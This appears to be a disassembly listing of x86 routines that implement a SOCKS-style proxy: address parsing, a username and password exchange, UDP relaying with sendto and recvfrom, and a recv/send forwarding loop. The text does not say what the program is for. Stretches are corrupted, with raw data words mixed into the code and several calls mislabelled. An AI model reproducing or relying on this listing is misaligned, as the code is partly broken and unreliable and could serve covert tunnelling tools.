var_518		= dword	ptr -518h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_400		= dword	ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 51Ch
		push	ebx
		push	ebp
		mov	ebp, [esp+524h+arg_4]
		push	esi
		push	edi
		mov	edx, ecx
		movsx	eax, byte ptr [ebp+3]
		dec	eax
		mov	[esp+52Ch+var_508], 0
		mov	[esp+52Ch+var_50C], 7
		mov	[esp+52Ch+var_51C], 2
		jz	short loc_42B97F
		dec	eax
		jz	short loc_42B92A
		dec	eax
		jnz	loc_42BA72
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42B92A:				; CODE XREF: sub_42B8E0+32j
		movsx	eax, byte ptr [ebp+4]
		mov	ecx, eax
		lea	esi, [ebp+5]
		mov	ebx, ecx
		lea	edi, [esp+52Ch+var_400]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	byte ptr [esp+eax+52Ch+var_400], 0
		lea	eax, [esp+52Ch+var_518]
		lea	ecx, [esp+52Ch+var_400]
		push	eax
		push	ecx
		mov	ecx, edx
		call	sub_401758
		test	al, al
		jz	loc_42BA72
		movsx	esi, byte ptr [ebp+4]
		mov	dx, [esi+ebp+5]
		add	esi, 7
		mov	[esp+52Ch+var_51A], dx
		jmp	short loc_42B99B
; ---------------------------------------------------------------------------


loc_42B97F:				; CODE XREF: sub_42B8E0+2Fj
		mov	eax, [ebp+4]
		mov	esi, 0Ah
		mov	[esp+52Ch+var_400], eax
		mov	[esp+52Ch+var_518], eax
		mov	ax, [ebp+8]
		mov	[esp+52Ch+var_51A], ax


loc_42B99B:				; CODE XREF: sub_42B8E0+9Dj
		mov	ebx, dword_511C3C
		push	11h
		push	2
		push	2
		call	ebx	; socket
		push	11h
		push	2
		push	2
		mov	edi, eax
		call	ebx	; socket
		cmp	edi, 0FFFFFFFFh
		jz	loc_42BA72
		cmp	eax, 0FFFFFFFFh
		jnz	loc_42BA72
		mov	edx, [esp+52Ch+arg_8]
		lea	ecx, [esp+52Ch+var_51C]
		push	10h
		push	ecx
		sub	edx, esi
		push	0
		add	esi, ebp
		mov	ebp, dword_511C68
		push	edx
		push	esi
		push	edi
		call	ebp	; sendto
		mov	ebx, [esp+52Ch+arg_0]
		push	10h
		push	ebx
		push	edi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jnz	short loc_42BA72


loc_42B9F9:				; CODE XREF: sub_42B8E0+174j
		lea	eax, [esp+52Ch+var_50C]
		lea	ecx, [esp+52Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+540h+var_500], 0FFFFFFFFh
		mov	[esp+540h+var_504], 1
		nop
		call	near ptr 71AB2DC0h
		push	0
		push	0
		push	0
		lea	edx, [esp+538h+var_400]
		push	3FFh
		push	edx
		push	edi
		nop
		call	near ptr 71AB2D0Fh
		push	10h
		mov	esi, eax
		push	ebx
		push	0
		lea	eax, [esp+538h+var_400]
		push	esi
		push	eax
		push	0FFFFFFFFh
		call	ebp	; sendto
		test	esi, esi
		jbe	short loc_42BA56
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42B9F9


loc_42BA56:				; CODE XREF: sub_42B8E0+16Fj
		mov	esi, dword_511C9C
		push	edi
		call	esi	; closesocket
		push	0FFFFFFFFh
		call	esi	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42BA72:				; CODE XREF: sub_42B8E0+35j
					; sub_42B8E0+86j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
sub_42B8E0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42BB00	proc near		; CODE XREF: sub_42C5C0:loc_4013A2j

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= byte ptr -81Ch
var_81A		= word ptr -81Ah
var_818		= dword	ptr -818h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_708		= byte ptr -708h
var_707		= byte ptr -707h
var_705		= dword	ptr -705h
var_604		= word ptr -604h
var_600		= dword	ptr -600h
var_5F0		= byte ptr -5F0h
var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 82Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+838h+arg_0]
		cmp	esi, 0FFFFFFFFh
		push	edi
		mov	ebp, ecx
		mov	[esp+83Ch+var_828], 0
		mov	[esp+83Ch+var_82C], 0Bh
		mov	[esp+83Ch+var_808], esi
		mov	[esp+83Ch+var_80C], 1
		jz	loc_42BDBA
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		mov	ax, [ecx+ebp-2]
		cmp	ax, 1
		jnz	loc_42BED6
		mov	edi, dword_511C94
		lea	edx, [esp+83Ch+var_82C]
		push	edx
		push	0
		lea	eax, [esp+844h+var_80C]
		push	0
		push	eax
		push	1
		call	edi	; select
		test	eax, eax
		jle	loc_42BF63
		lea	ecx, [esp+83Ch+var_80C]
		push	ecx
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		dd 840FC085h, 3E3h, 16A066Ah, 6E8026Ah,	90716880h, 89FFF883h
		dd 0F1C2444h, 22184h, 0A41D8B00h, 6A00511Ch, 24948D00h
		dd 240h, 5652026Ah, 0BC80D3FFh,	23C24h,	850F0500h, 1FEh
		dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
		dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
		dd 256248Ch, 0D3FF0000h, 26A006Ah, 4472F868h, 0E8905600h
		dd 7168868Ah, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
		dd 282444C7h, 0
; ---------------------------------------------------------------------------
		mov	[esp+82Ch+var_808], 7
		mov	[esp+82Ch+var_7E4], esi
		mov	[esp+82Ch+var_7E8], 1
		call	edi	; select
		xor	eax, eax
		lea	edx, [esp+82Ch+var_5F0]
		push	eax
		mov	ecx, 20h
		lea	edi, [esp+830h+var_5F0]
		push	2
		push	edx
		push	esi
		rep stosd
		call	ebx	; socket
		cmp	byte ptr [esp+83Ch+var_600], 1
		jnz	loc_42BDBA
		movsx	eax, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	ecx, [esp+840h+var_200]
		push	eax
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	eax, [esp+840h+var_600]
		push	1
		push	eax
		push	esi
		mov	[esp+edx+84Ch+var_200],	0
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	edx, [esp+840h+var_100]
		push	ecx
		push	edx
		push	esi
		call	ebx	; socket
		movsx	eax, byte ptr [esp+83Ch+var_600]
		mov	ecx, [ebp-8]
		mov	[esp+eax+83Ch+var_100],	0
		mov	ecx, [ecx+4]
		add	ecx, ebp
		call	sub_4017EE
		mov	edi, eax
		lea	ecx, [esp+83Ch+var_200]


loc_42BCCB:				; CODE XREF: sub_42BB00+1E9j
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_42BCEF
		test	al, al
		jz	short loc_42BCEB
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_42BCEF
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_42BCCB


loc_42BCEB:				; CODE XREF: sub_42BB00+1D5j
		xor	eax, eax
		jmp	short loc_42BCF4
; ---------------------------------------------------------------------------


loc_42BCEF:				; CODE XREF: sub_42BB00+1D1j
					; sub_42BB00+1DFj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42BCF4:				; CODE XREF: sub_42BB00+1EDj
		test	eax, eax
		jz	short loc_42BD51
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		lea	ecx, [ecx+ebp+15h]
		call	sub_4017EE
		lea	edi, [esp+83Ch+var_100]


loc_42BD0E:				; CODE XREF: sub_42BB00+22Cj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_42BD32
		test	cl, cl
		jz	short loc_42BD2E
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_42BD32
		add	edi, 2
		add	eax, 2
		test	cl, cl
		jnz	short loc_42BD0E


loc_42BD2E:				; CODE XREF: sub_42BB00+218j
		xor	eax, eax
		jmp	short loc_42BD37
; ---------------------------------------------------------------------------


loc_42BD32:				; CODE XREF: sub_42BB00+214j
					; sub_42BB00+222j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42BD37:				; CODE XREF: sub_42BB00+230j
		test	eax, eax
		jz	short loc_42BD51
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BD51:				; CODE XREF: sub_42BB00+1F6j
					; sub_42BB00+239j
		mov	edi, dword_511CA0
		push	0
		push	2
		push	offset dword_4472F4
		push	esi
		call	edi	; send
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		nop
		call	near ptr 71AB2DC0h
		lea	edx, [esp+83Ch+var_80C]
		push	edx
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42BDBA
		push	0
		lea	eax, [esp+840h+var_708]
		push	4
		push	eax
		push	esi
		call	ebx	; socket
		mov	eax, [esp+83Ch+var_705]
		and	eax, 0FFh
		dec	eax
		jz	short loc_42BE21
		sub	eax, 2
		jz	short loc_42BDC9
		dec	eax


loc_42BDB8:				; CODE XREF: sub_42BB00+31Fj
		jnz	short loc_42BE30


loc_42BDBA:				; CODE XREF: sub_42BB00+32j
					; sub_42BB00+154j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BDC9:				; CODE XREF: sub_42BB00+2B5j
		push	0
		lea	ecx, [esp+840h+var_600]
		push	1
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	eax, [esp+840h+var_705+1]
		push	edx
		push	eax
		push	esi
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		lea	edx, [esp+83Ch+var_600]
		lea	eax, [esp+83Ch+var_705+1]
		mov	byte ptr [esp+ecx+83Ch+var_705+1], 0
		mov	ecx, [ebp-8]
		push	edx
		push	eax
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_401758
		test	al, al
		jmp	short loc_42BDB8
; ---------------------------------------------------------------------------


loc_42BE21:				; CODE XREF: sub_42BB00+2B0j
		push	0
		lea	eax, [esp+840h+var_600]
		push	4
		push	eax
		push	esi
		call	ebx	; socket


loc_42BE30:				; CODE XREF: sub_42BB00:loc_42BDB8j
		push	0
		lea	ecx, [esp+840h+var_604]
		push	2
		push	ecx
		push	esi
		call	ebx	; socket
		cmp	[esp+83Ch+var_707], 1
		jnz	loc_42BDBA
		mov	ebx, [esp+83Ch+var_820]
		mov	dx, [esp+83Ch+var_604]
		mov	eax, [esp+83Ch+var_600]
		lea	ecx, [esp+83Ch+var_81C]
		push	10h
		push	ecx
		push	ebx
		mov	word ptr [esp+848h+var_81C], 2
		mov	[esp+848h+var_81A], dx
		mov	[esp+848h+var_818], eax
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	loc_42BDBA
		push	eax
		push	4
		push	offset dword_4472EC
		push	esi
		call	edi	; send
		push	0
		lea	edx, [esp+840h+var_600]
		push	4
		push	edx
		push	esi
		call	edi	; send
		push	0
		lea	eax, [esp+840h+var_604]
		push	2
		push	eax
		push	esi
		call	edi	; send
		mov	ecx, [ebp-8]
		push	ebx
		push	esi
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_4020E0
		push	ebx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BED6:				; CODE XREF: sub_42BB00+47j
		cmp	ax, 2
		jnz	loc_42BF63
		mov	ebx, dword_511C94


loc_42BEE6:				; CODE XREF: sub_42BB00+461j
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	ebx	; select
		lea	edx, [esp+83Ch+var_824]
		lea	eax, [esp+83Ch+var_81C]
		push	edx
		push	eax
		push	0
		lea	ecx, [esp+848h+var_600]
		push	3FFh
		push	ecx
		push	esi
		mov	[esp+854h+var_824], 10h
		call	near ptr 71AB2D0Fh
		nop
		mov	ecx, [ebp-8]
		mov	edi, eax
		lea	edx, [esp+83Ch+var_600]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		lea	eax, [esp+844h+var_81C]
		push	eax
		lea	ecx, [edx+ebp-8]
		call	sub_401C30
		test	edi, edi
		jz	short loc_42BF63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42BF63
		lea	eax, [esp+83Ch+var_80C]
		push	eax
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42BEE6


loc_42BF63:				; CODE XREF: sub_42BB00+67j
					; sub_42BB00+3DAj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
sub_42BB00	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C0A0	proc near		; CODE XREF: sub_401F37j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+32h]
		test	eax, eax
		jz	short loc_42C0B4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C0B4:				; CODE XREF: sub_42C0A0+Bj
		xor	eax, eax
		mov	ax, [esi+6]
		dec	eax
		jz	short loc_42C0C6
		dec	eax
		jz	short loc_42C0E8
		mov	word ptr [esi+6], 1


loc_42C0C6:				; CODE XREF: sub_42C0A0+1Bj
		mov	eax, 1
		mov	ecx, 6


loc_42C0D0:				; CODE XREF: sub_42C0A0+52j
		push	ecx
		push	eax
		push	2
		nop
		call	near ptr 71AB3B91h
		test	eax, eax
		mov	[esi+32h], eax
		jnz	short loc_42C0F4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C0E8:				; CODE XREF: sub_42C0A0+1Ej
		mov	eax, 2
		mov	ecx, 11h
		jmp	short loc_42C0D0
; ---------------------------------------------------------------------------


loc_42C0F4:				; CODE XREF: sub_42C0A0+3Fj
		mov	ax, [esi+4]
		mov	[esp+14h+var_10], 2
		push	eax
		mov	[esp+18h+var_C], 0
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esi+32h]
		lea	ecx, [esp+14h+var_10]
		push	10h
		push	ecx
		push	edx
		mov	[esp+20h+var_E], ax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42C139
		mov	eax, [esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C139:				; CODE XREF: sub_42C0A0+86j
		cmp	word ptr [esi+6], 1
		jnz	short loc_42C161
		mov	ecx, [esi+32h]
		push	3
		push	ecx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_42C161
		mov	edx, [esi+32h]
		push	edx
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C161:				; CODE XREF: sub_42C0A0+9Ej
					; sub_42C0A0+AEj
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn
sub_42C0A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C1B0	proc near		; CODE XREF: sub_401DD4j

var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42C1B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_10], esp
		mov	ax, [edi+6]
		cmp	ax, 1
		jnz	short loc_42C24A
		mov	eax, [edi+32h]
		mov	[ebp+var_14], 10h
		test	eax, eax
		jz	short loc_42C231
		mov	ebx, dword_511C98
		lea	ecx, [ebp+var_14]
		lea	edx, [ebp+var_24]
		push	ecx
		push	edx
		push	eax
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42C216


loc_42C202:				; CODE XREF: sub_42C1B0+64j
		mov	edx, [edi+32h]
		lea	eax, [ebp+var_14]
		lea	ecx, [ebp+var_24]
		push	eax
		push	ecx
		push	edx
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jz	short loc_42C202


loc_42C216:				; CODE XREF: sub_42C1B0+50j
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		mov	[ebp+var_4], 0
		call	dword ptr [eax]
		push	esi
		mov	bl, al
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jnz	short loc_42C26A


loc_42C231:				; CODE XREF: sub_42C1B0+39j
					; sub_42C1B0+9Ej ...
		xor	al, al
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42C244:				; DATA XREF: ___:00442FB4o
		mov	eax, offset loc_42C231
		retn
; ---------------------------------------------------------------------------


loc_42C24A:				; CODE XREF: sub_42C1B0+2Bj
		cmp	ax, 2
		jnz	short loc_42C231
		mov	eax, [edi+32h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx]
		mov	ecx, [edi+32h]
		mov	bl, al
		push	ecx
		call	near ptr 71AB9639h
		nop
		test	bl, bl
		jz	short loc_42C231


loc_42C26A:				; CODE XREF: sub_42C1B0+7Fj
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42C1B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C2C0:				; CODE XREF: ___:00401F96j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43CEC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	[ebp-10h], esp
		mov	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	eax, [ecx+esi+32h]
		add	ecx, esi
		push	eax
		mov	edx, [ecx]
		call	dword ptr [edx]
		mov	ecx, [esi]
		mov	edx, [ecx+4]
		mov	eax, [edx+esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42C309:				; DATA XREF: ___:loc_42C321o
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_42C321:				; DATA XREF: ___:00443014o
		mov	eax, offset loc_42C309
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C350	proc near		; CODE XREF: sub_401C2Bj

var_19C		= byte ptr -19Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_42C350
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 194h
		lea	eax, [esp+1A0h+var_19C]
		mov	[esp+1A0h+var_4], 1
		push	eax
		push	2
		call	near ptr 71AB664Dh
		nop
		test	eax, eax
		jz	short loc_42C3C7


loc_42C387:				; CODE XREF: ___:0042C456j
		lea	ecx, [esp+1A0h+arg_4]
		mov	byte ptr [esp+1A0h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1A0h+arg_1C]
		mov	[esp+1A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1A0h+var_C]
		mov	large fs:0, ecx
		add	esp, 1A0h
		retn
; ---------------------------------------------------------------------------


loc_42C3C7:				; CODE XREF: sub_42C350+35j
		push	42h
		call	sub_437AEA
sub_42C350	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+0], eax
		test	eax, eax
		mov	byte ptr [esp+19Ch], 2
		jz	short loc_42C3EC
		push	1
		mov	ecx, eax
		call	sub_4014F1
		jmp	short loc_42C3EE
; ---------------------------------------------------------------------------


loc_42C3EC:				; CODE XREF: ___:0042C3DFj
		xor	eax, eax


loc_42C3EE:				; CODE XREF: ___:0042C3EAj
		mov	dword_5103A4, eax
		mov	ecx, [eax]
		mov	byte ptr [esp+19Ch], 1
		mov	edx, [ecx+4]
		mov	cx, [esp+1A4h]
		mov	[edx+eax+4], cx
		mov	eax, dword_5103A4
		lea	edx, [esp+1A8h]
		mov	ecx, [eax]
		push	edx
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+8]
		call	sub_40202C
		lea	eax, [esp+1C0h]
		push	eax
		mov	eax, dword_5103A4
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+1Dh]
		call	sub_40202C
		mov	eax, dword_5103A4
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		add	ecx, eax
		call	sub_401F37
		test	al, al
		jz	loc_42C387


loc_42C45C:				; CODE XREF: ___:0042C46Dj
		mov	eax, dword_5103A4
		mov	edx, [eax]
		mov	ecx, [edx+4]
		add	ecx, eax
		call	sub_401DD4
		jmp	short loc_42C45C
; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C4C0	proc near		; CODE XREF: sub_4014F1j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+8+var_4], 0
		jz	short loc_42C4E2
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	dword_43F190
		call	sub_4014B5


loc_42C4E2:				; CODE XREF: sub_42C4C0+12j
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	dword ptr [ecx+esi], offset off_43F18C
		mov	edx, [esi]
		mov	eax, [edx+4]
		lea	ecx, [eax-8]
		mov	[eax+esi-4], ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_42C4C0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C530	proc near		; CODE XREF: sub_4014B5j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42C530
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8]
		call	sub_40142E
		lea	ecx, [esi+1Dh]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F19C
		mov	dword ptr [esi+32h], 0
		mov	word ptr [esi+6], 1
		mov	word ptr [esi+4], 0
		mov	dword ptr [esi+36h], 1000h
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42C530	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C5C0	proc near		; CODE XREF: sub_4020EFj

; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES

		sub	ecx, [ecx-4]
		jmp	loc_4013A2
sub_42C5C0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42C5D0:				; CODE XREF: ___:00401352j
		push	0FFFFFFFFh
		push	offset loc_43CF38
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		call	sub_401FA0
		push	offset off_444D54
		lea	ecx, [esi+11h]
		mov	dword ptr [esp+14h], 0
		mov	dword ptr [esi], offset	off_43F1A0
		call	sub_4015E1
		mov	ecx, [esp+8]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C640	proc near		; CODE XREF: ___:00401398j sub_401F5Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4011BD
		test	[esp+4+arg_0], 1
		jz	short loc_42C658
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42C658:				; CODE XREF: sub_42C640+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42C640	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42C670	proc near		; CODE XREF: sub_4011BDj
		jmp	sub_4017A8
sub_42C670	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C690:				; CODE XREF: ___:loc_40134Dj
		mov	eax, 1000h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42C71C
		mov	ebx, dword_511CA4
		mov	ebp, dword_511CA0


loc_42C6BC:				; CODE XREF: ___:0042C71Aj
		mov	edx, [esi+9Dh]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+10h]
		rep stosd
		push	eax
		mov	eax, [edx+0A5h]
		lea	ecx, [esp+14h]
		push	1000h
		push	ecx
		push	eax
		call	ebx	; recv
		test	eax, eax
		jz	short loc_42C71C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C71C
		mov	edx, [esi+9Dh]
		push	0
		push	eax
		lea	ecx, [esp+18h]
		mov	eax, [edx+0A1h]
		push	ecx
		push	eax
		call	ebp	; send
		test	eax, eax
		jz	short loc_42C71C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C71C
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	short loc_42C6BC


loc_42C71C:				; CODE XREF: ___:0042C6AEj
					; ___:0042C6E5j ...
		mov	edx, [esi+9Dh]
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, [edx+0A1h]
		pop	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C738
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42C738:				; CODE XREF: ___:0042C72Fj
		add	esp, 1000h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C770	proc near		; CODE XREF: sub_40166Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42C770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset off_444D54
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F1B0
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42C770	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C7E0	proc near		; CODE XREF: ___:004013A7j sub_401B36j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401217
		test	[esp+4+arg_0], 1
		jz	short loc_42C7F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42C7F8:				; CODE XREF: sub_42C7E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42C7E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
